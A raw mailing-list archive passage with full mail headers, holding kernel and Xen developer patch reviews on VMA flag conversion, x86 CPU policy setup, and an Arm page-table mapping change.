 =?utf-8?B?dldGVzNpaDFuTzdzM2dnRVZuYk1zY0l6UzAvNnpkTnlYTTFHSGhlY0dSekVM?=
 =?utf-8?B?d0pkRGNEZFdaMHhwLzB6ZDR4YlQvSlVlL3J6aVpjNC9GTWtHSDkxNzlLUGRI?=
 =?utf-8?Q?wND7zKRGR8WfbZpe66?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 1b6ebcdd-bf63-47bb-9a73-08dedbcfa283
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 02:29:56.5837
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: tIOY0pzEGzhKPWD11iwEvHsQNPeERmU09vU4Ruy0IPd6ixsvMtAiayr8UYt0C99d
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY5PR12MB6275
X-purgate-ID: tlsNG-16d1c6/1783391405-C752968D-FE73C09D/0/0
X-purgate-type: clean
X-purgate-size: 849

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> As part of the changes converting VMA flags from a system word size to a
> bitmap, extend this change to generic_get_unmapped_area() and
> generic_get_unmapped_area_topdown(), which also allows us to convert
> stack_guard_placement() as well.
>
> We retain arch_get_unmapped_area() and arch_get_unmapped_area_topdown()
> as-is for now, using legacy_to_vma_flags() as necessary to do so.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  arch/powerpc/mm/book3s64/slice.c |  6 ++++--
>  include/linux/sched/mm.h         |  4 ++--
>  mm/mmap.c                        | 16 ++++++++--------
>  3 files changed, 14 insertions(+), 12 deletions(-)
>
LGTM.

Reviewed-by: Zi Yan <ziy@nvidia.com>

--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 06:11:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 06:11:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355919.1610588 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgz18-0002Kw-9a; Tue, 07 Jul 2026 06:10:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355919.1610588; Tue, 07 Jul 2026 06:10:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgz18-0002Kp-6l; Tue, 07 Jul 2026 06:10:50 +0000
Received: by outflank-mailman (input) for mailman id 1355919;
 Tue, 07 Jul 2026 06:10:48 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgz16-0002Ki-L9
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 06:10:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgz15-00AjSd-B8
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:10:47 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4c9850-2eae-0a2a0a5409dd-0a2a45059450-38
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:10:47 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4c9866-3cb2-0a2a45050019-d1558030c86d-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:10:47 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493c19bad03so34719785e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 23:10:47 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0faed92sm28870085e9.9.2026.07.06.23.10.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 23:10:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783404646; x=1784009446; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=sbMyzZdJI3+X16RmRkVatSRCkjdkXIXtvyKX9TWwfec=;
        b=N2Vbe9uaY/inwlDtM4IizLd49Z1FtbGGnFmTeUcplWvnwUq+imq7MSXiIjjm5WlRP8
         Gi4Y6r4xzFO59P4cOx7jmXDfr5smzxOVVnN+KIj0xiAB3maVpPqOFHYkuLQde3UYQlvp
         jU/hayes3ZdiBDsq5Q9pE18/Ov4yfXHgxdU9UG5erA4Q3F6kHbNpUgt68YTKv2ScBI8G
         RXAusNycHWjNtK9Ca4hb0+wQIx2LxaLZdS2HueryEVkfOvSsiK6Nbz3xkoFLpwJ/JqBa
         gSQGc+qksPVkXaFo2v4U3F5GnGwiGmQscImCP++EaFajOUZv66NmudyEW7x+VMAi/mCx
         bbxg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783404646; x=1784009446;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=sbMyzZdJI3+X16RmRkVatSRCkjdkXIXtvyKX9TWwfec=;
        b=gy+Bb7rIE/o2I0nc3+Uah7L8krwtb5xk4fCCrYStJYGsz5BtvN0cCd4KkGx8A0yxjX
         jZdrR3h+aVjWGZnbhWYRt+Rjsoh+Onydcoz5vEIsUTmwnaRGX0lKlmMEZRHGlj6Drr/P
         gbcd5rm6vMuC46gXMcXShR5Md9WTb5wF46gH5FVlL2J+DYVyVnkfTy7c0qBrjy0vYSRZ
         HWPaF883OAvL8U4tPJ0eHHfLGZPVoXFSLWvL58DJ6rWbGAy2kOxLDGsF+e/LJu3W3yb4
         o58M6hFaCceRy2kvrxovsXxvyuQhTSx03Aunchti//E1bS2QIZmiCA7gAc8qByWpUfXf
         f41g==
X-Forwarded-Encrypted: i=1; AHgh+Rp8S+UbUwc4zqGw3Beu/yyyFwT6ubPejRUDoyLLl4CQz6SdMS54/hkZ5zdY3vJ4N/zLXhanmJDrSoY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwMhbQhpw2j/x9zKJDzqR/Cli8NgkB+xuiCeIVcSWSuaJr8xEGQ
	k4cQDqz73sm87mPIuRFYsEkWdpzoPJscjNFnPWA97egwjDn3tGHo+lOxWOxCAwsw3A==
X-Gm-Gg: AfdE7clZFCibGNKvZm7afa0+vRZCVtf/EZXtmFlnFNQZtOKfNHORze8/qg5iByoU/T1
	HLdOKZYQgyaUkO67k2AKI3bt0FOy02r3yXY+pkAYp+Du4kYE/U/5xaN8iJ0ry0IqcAKNI1ISmHS
	JzDrZnmVfV/V1GJFyeqaU2Uv0Wtq29PupM8CyK2G8LHQ7ehstiWHVkribJ26/1Ut+GRGfwEgv65
	JxZogRJWLiehRIw9uOiwabeXOgUaOnX9GtepTcfzjkdjoiH26aoY96fxkFr1ud+d4nkaH49wmpl
	xWvO1kwiMw7BQpBbHIp7zgMOpPpYJymPTE4rJb0/r/DYUg31ZaXaHcv3+zeT3YTO5hNFgeRmg7b
	kdvue4KiK3nYyRA73s0cGjDz5uJj4zxyUHp1aTxkpJw3WgstcwBOpSUqm4wlD35NkZyEA/dfPrO
	aD68h94Q+KSfGkj+hw9EKzfZVib0hbsEGRshQSnrDcyVKVXTEcVmpglbbgeEKhAh9RyRt4WFKmU
	kRY
X-Received: by 2002:a05:600c:8b27:b0:492:3d05:5639 with SMTP id 5b1f17b1804b1-493df083892mr38250605e9.36.1783404646603;
        Mon, 06 Jul 2026 23:10:46 -0700 (PDT)
Message-ID: <7bf889a4-bc59-4c53-914d-0f354ae23959@suse.com>
Date: Tue, 7 Jul 2026 08:10:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 for-4.22] x86/cpu-policy: set up host policy earlier
From: Jan Beulich <jbeulich@suse.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783404647-54BE32B8-B4541BCF/0/0
X-purgate-type: clean
X-purgate-size: 1507

On 03.07.2026 08:26, Jan Beulich wrote:
> --- a/xen/arch/x86/cpu/common.c
> +++ b/xen/arch/x86/cpu/common.c
> @@ -66,8 +66,10 @@ void __init setup_clear_cpu_cap(unsigned
>  	__clear_bit(cap, boot_cpu_data.x86_capability);
>  	dfs = x86_cpu_policy_lookup_deep_deps(cap);
>  
> -	if (!dfs)
> +	if (!dfs) {
> +		calculate_host_cpu_policy();
>  		return;
> +	}
>  
>  	for (i = 0; i < FSCAPINTS; ++i) {
>  		cleared_caps[i] |= dfs[i];
> @@ -78,6 +80,8 @@ void __init setup_clear_cpu_cap(unsigned
>  		       __builtin_return_address(0),
>  		       i, forced_caps[i] & dfs[i]);
>  	}
> +
> +	calculate_host_cpu_policy();
>  }
>  
>  void __init setup_force_cpu_cap(unsigned int cap)
> @@ -92,6 +96,8 @@ void __init setup_force_cpu_cap(unsigned
>  	}
>  
>  	__set_bit(cap, boot_cpu_data.x86_capability);
> +
> +	calculate_host_cpu_policy();
>  }

During the call yesterday you raised concern over the overhead these calls
may cause. How about we make this call dependent upon cap < FSCAPINTS * 32?
Synthetic features and bug flags don't have dependencies, as they don't
have representation in the policies in the first place.

Whether something similar would make sense in setup_clear_cpu_cap() I'm
inclined to question. We typically "force" synthetic features and bug
flags, while we typically "clear" bits having representation in policy.
Plus if at all such a check would then likely better live ahead of the
call to x86_cpu_policy_lookup_deep_deps() anyway.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 06:37:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 06:37:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355931.1610598 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzQQ-0005JP-BK; Tue, 07 Jul 2026 06:36:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355931.1610598; Tue, 07 Jul 2026 06:36:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzQQ-0005JG-7g; Tue, 07 Jul 2026 06:36:58 +0000
Received: by outflank-mailman (input) for mailman id 1355931;
 Tue, 07 Jul 2026 06:36:57 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgzQP-0005J9-4D
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 06:36:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgzQN-00ApMt-UZ
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:36:55 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4c9e83-bab6-0a2a0a5309dd-0a2a4502af5e-10
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:36:55 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4c9e87-5a27-0a2a45020019-d155dd35ed5a-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:36:55 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so1788557f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 23:36:55 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039b126sm30737848f8f.24.2026.07.06.23.36.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 23:36:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783406215; x=1784011015; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=sYYUNAdei+xxoJhpIZ3PM0GLWk+daOyRIF2AQbx+Xdw=;
        b=F18q7yotPSMPK6UVndVbnD+DDHmLcOJdIr3orpUcR5ppHcmDJ4UjYrbuHntq7lGTf6
         8/vtCBYypWC8BX00ojR4AatHBWnKdaZOK0XySAzVdZbH3WRHCFA4F2dLpDD1S5o/oNtz
         MW7ixs0pOfx8Otjrp0fBzRFId5rBICJSiQDT3+T0mNipr2Vm++s2wQP4Da1U8pRJTugl
         e1N3py14HzDDekvYEMJzyTZkmrOtOxlUtd/7XMaSD8Kt4ZFJhM/ps+vb2PuCNzb3H6+Z
         8FA0kKpbQcrpQ7n96YcBE6lo5l8qkUF8OlIZJ+wygnE+cjrGJzqlidUtJ2nkNi+3UKM3
         l9aw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783406215; x=1784011015;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=sYYUNAdei+xxoJhpIZ3PM0GLWk+daOyRIF2AQbx+Xdw=;
        b=qo+joYIs/nyhZ9dR8zB6tSMbxgFYo+ZkLth/NTtO1Ku+SnZL3ZbgDOlKDardMh9tNf
         Sa1o4NyLYHd0/pimDMLVghZbj2xkn0j3PuO0JHcCyRIsLxyVYp7gxaKaxUzEa0p26JHZ
         qbhIYtcOKpUZLja2S5SolL+vh+X7b5UZFsowmhqHutSsNuozVXk7mkAlK/RnQN+Ivgee
         z9Ewi+u7PGGc7wQNv9L46cmxkyim1961vzsAm8Mdnmp4oLb++NmeWk7H8PNNLoiNwbLJ
         zIpOcNly2kVNkIAY/fUk4YphumTWCQYzlKCodQrmjfpnOe1Gjpfwe79SjAPf5FJ8XXU3
         WiIQ==
X-Forwarded-Encrypted: i=1; AHgh+RqH6pYbjMZZfyCsVIRH0DVGpJHWUhT0gaa+6OyRwq+gwRJv7fo+ztI/+p13Px2j+Jw70rVaafzuX4s=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxHtr15Plrrau+ykTWfEsqmWbj/A1r7+tgs67zjC0Hi0GRaADkF
	NGNJvn7Y5LZXrmy4kVSA686vpoigmJ/tme0/6az4poSJrEvALSmQ3vBbh7xh1LwJxA==
X-Gm-Gg: AfdE7ckNfZr8y4g6iLgAbt13iG3kohVAWxUVisqBhe5CadmM2nJEDf4fov/fk4PZhnZ
	f0ez/8sT5iyjyhi+FR3gI2vSKlDR/afvJhkmEt9OoZJD1ZyME0JoDNPZ0SWk19r4HU8llHjY2l5
	fZJBXnWxUwYifIIHo4Dg2lIG7NMVvQULZ+mo3xa7rSOd0w/xbNzAeqsG33Dvu7WKkcHrEqST02T
	pUBCufSOgBMynPVVctjeWQidmVQ7r9RYBot8OHEaPqAw4tzUhLoAEsil8+cLD1UU5V9eYBVhcQB
	CKikrv+zGmex60eigAjdd/AHEAryqXzZW5GcXHCqYoPtlcy4jP9eI6WIo50vXBSg6UrCEVBpar2
	kVYbPGQgYHkzVKWtiBn0jJ9wh9Vh6EilthlH6wBKUIO3qXee8yex6LtXKLhXHCzOZCZ08cnQVuI
	Y/dbktZ1/66/2sLv/0Q37vOD7uqoZDKHdZiHeuLPktawSR60MHDMVFY6+oQj5VdbxWZAdCG2cDb
	BS0
X-Received: by 2002:adf:f00a:0:b0:474:2929:474c with SMTP id ffacd0b85a97d-47de66d2d91mr2864223f8f.36.1783406215192;
        Mon, 06 Jul 2026 23:36:55 -0700 (PDT)
Message-ID: <c3af3c25-31fa-4805-92f5-d48ebb87d686@suse.com>
Date: Tue, 7 Jul 2026 08:36:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/arm: mmu: avoid transient mapping of page tables when
 a directmap is available
To: mixx86 <gabi.qs.mail@gmail.com>
Cc: sstabellini@kernel.org, julien@xen.org, bertrand.marquis@arm.com,
 michal.orzel@amd.com, xen-devel@lists.xenproject.org
References: <20260706222934.221182-1-gabi.qs.mail@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo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eAWPgskBQL
In-Reply-To: <20260706222934.221182-1-gabi.qs.mail@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783406215-4D1027C5-F3D6CF1D/0/0
X-purgate-type: clean
X-purgate-size: 1029

On 07.07.2026 00:29, mixx86 wrote:
> ---
>  xen/arch/arm/mmu/pt.c | 13 +++++++++++--
>  1 file changed, 11 insertions(+), 2 deletions(-)

First two formal things: There's no S-o-b of yours, and a change like this
hardly can come with an empty description.

> --- a/xen/arch/arm/mmu/pt.c
> +++ b/xen/arch/arm/mmu/pt.c
> @@ -42,7 +42,11 @@ static lpae_t *xen_map_table(mfn_t mfn)
>      if ( system_state == SYS_STATE_early_boot )
>          return pmap_map(mfn);
>  
> +#if defined(CONFIG_ARM_64)
> +    return __va((mfn_to_maddr(mfn)));
> +#else
>      return map_domain_page(mfn);
> +#endif
>  }

The abstraction exists for a reason. If anything CONFIG_ARCH_MAP_DOMAIN_PAGE
would be the correct dependency here (or else the pattern, if copied
elsewhere, would break the MPU=y case), yet that already is what controls
whether map_domain_page() is a mapping operation in the first place.

Plus - why would only this call site benefit? Any improvement should be done
in map_domain_page() itself.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 06:41:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 06:41:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355939.1610608 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzUd-0006w5-Sz; Tue, 07 Jul 2026 06:41:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355939.1610608; Tue, 07 Jul 2026 06:41:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzUd-0006vy-OI; Tue, 07 Jul 2026 06:41:19 +0000
Received: by outflank-mailman (input) for mailman id 1355939;
 Tue, 07 Jul 2026 06:41:18 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgzUc-0006vr-Oe
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 06:41:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgzUb-00CPL7-Sj
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:41:17 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4c9f8c-2eae-0a2a0a5409dd-0a2a4507ca38-4
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:41:17 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4c9f8d-9c8e-0a2a45070019-d155dd29c802-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:41:17 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-475417f010dso2049192f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 23:41:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e3e2702sm31756806f8f.9.2026.07.06.23.41.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 23:41:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783406477; x=1784011277; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=slwjMIwuvJZ5o/P1hxggnrFkgok2n8+B6q7W7X5ATv8=;
        b=TqHyQAbLE75vTRMqZPwWmAa2rTgkyipjr1+szDmbeFuCk96aeuSPD47NnaOf3UDuCA
